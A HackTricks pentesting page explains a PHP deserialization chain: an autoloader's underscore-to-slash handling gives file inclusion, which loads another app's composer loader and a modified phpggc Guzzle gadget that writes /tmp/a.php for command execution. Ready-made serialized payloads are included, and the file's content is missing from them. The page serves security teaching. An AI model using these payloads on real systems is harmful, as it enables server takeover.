# PHP - Deserialization + Autoload Classes
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** š¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** š¦ [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
First, you should check what are [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php).
## PHP deserialization + spl\_autoload\_register + LFI/Gadget
We are in a situation where we found a **PHP deserialization in a webapp** with **no** library vulnerable to gadgets inside **`phpggc`**. However, in the same container there was a **different composer webapp with vulnerable libraries**. Therefore, the goal was to **load the composer loader of the other webapp** and abuse it to **load a gadget that will exploit that library with a gadget** from the webapp vulnerable to deserialization.
Steps:
* You have found a **deserialization** and there **isnāt any gadget** in the current app code
* You can abuse a **`spl_autoload_register`** function like the following to **load any local file with `.php` extension**
* For that you use a deserialization where the name of the class is going to be inside **`$name`**. You **cannot use "/" or "."** in a class name in a serialized object, but the **code** is **replacing** the **underscores** ("\_") **for slashes** ("/"). So a class name such as `tmp_passwd` will be transformed into `/tmp/passwd.php` and the code will try to load it.\
A **gadget example** will be: **`O:10:"tmp_passwd":0:{}`**
```php
spl_autoload_register(function ($name) {
if (preg_match('/Controller$/', $name)) {
$name = "controllers/${name}";
} elseif (preg_match('/Model$/', $name)) {
$name = "models/${name}";
} elseif (preg_match('/_/', $name)) {
$name = preg_replace('/_/', '/', $name);
}
$filename = "/${name}.php";
if (file_exists($filename)) {
require $filename;
}
elseif (file_exists(__DIR__ . $filename)) {
require __DIR__ . $filename;
}
});
```
{% hint style="success" %}
If you have a **file upload** and can upload a file with **`.php` extension** you could **abuse this functionality directly** and get already RCE.
{% endhint %}
In my case, I didnāt have anything like that, but there was inside the **same container** another composer web page with a **library vulnerable to a `phpggc` gadget**.
* To load this other library, first you need to **load the composer loader of that other web app** (because the one of the current application wonāt access the libraries of the other one.) **Knowing the path of the application**, you can achieve this very easily with: **`O:28:"www_frontend_vendor_autoload":0:{}`** (In my case, the composer loader was in `/www/frontend/vendor/autoload.php`)
* Now, you can **load** the others **app composer loader**, so itās time to **`generate the phpgcc`** **payload** to use. In my case, I used **`Guzzle/FW1`**, which allowed me to **write any file inside the filesystem**.
* NOTE: The **generated gadget was not working**, in order for it to work I **modified** that payload **`chain.php`** of phpggc and set **all the attribute**s of the classes **from private to public**. If not, after deserializing the string, the attributes of the created objects didnāt have any values.
* Now we have the way to **load the others app composer loader** and have a **phpggc payload that works**, but we need to **do this in the SAME REQUEST for the loader to be loaded when the gadget is used**. For that, I sent a serialized array with both objects like:
* You can see **first the loader being loaded and then the payload**
{% code overflow="wrap" %}
```php
a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}}
```
{% endcode %}
* Now, we can **create and write a file**, however, the user **couldnāt write in any folder inside the web server**. So, as you can see in the payload, PHP calling **`system`** with some **base64** is created in **`/tmp/a.php`**. Then, we can **reuse the first type of payload** that we used to as LFI to load the composer loader of the other webapp t**o load the generated `/tmp/a.php`** file. Just add it to the deserialization gadget:
{% code overflow="wrap" %}
```php
a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}}
```
{% endcode %}
**Summary of the payload**
* **Load the composer autoload** of a different webapp in the same container
* **Load a phpggc gadget** to abuse a library from the other webapp (the initial webapp vulnerable to deserialization didnāt have any gadget on its libraries)
* The gadget will **create a file with a PHP payload** on it in /tmp/a.php with malicious commands (the webapp user cannot write in any folder of any webapp)
* The final part of our payload will use **load the generated php file** that will execute commands
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!
Other ways to support HackTricks:
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Join the** š¬ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** š¦ [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.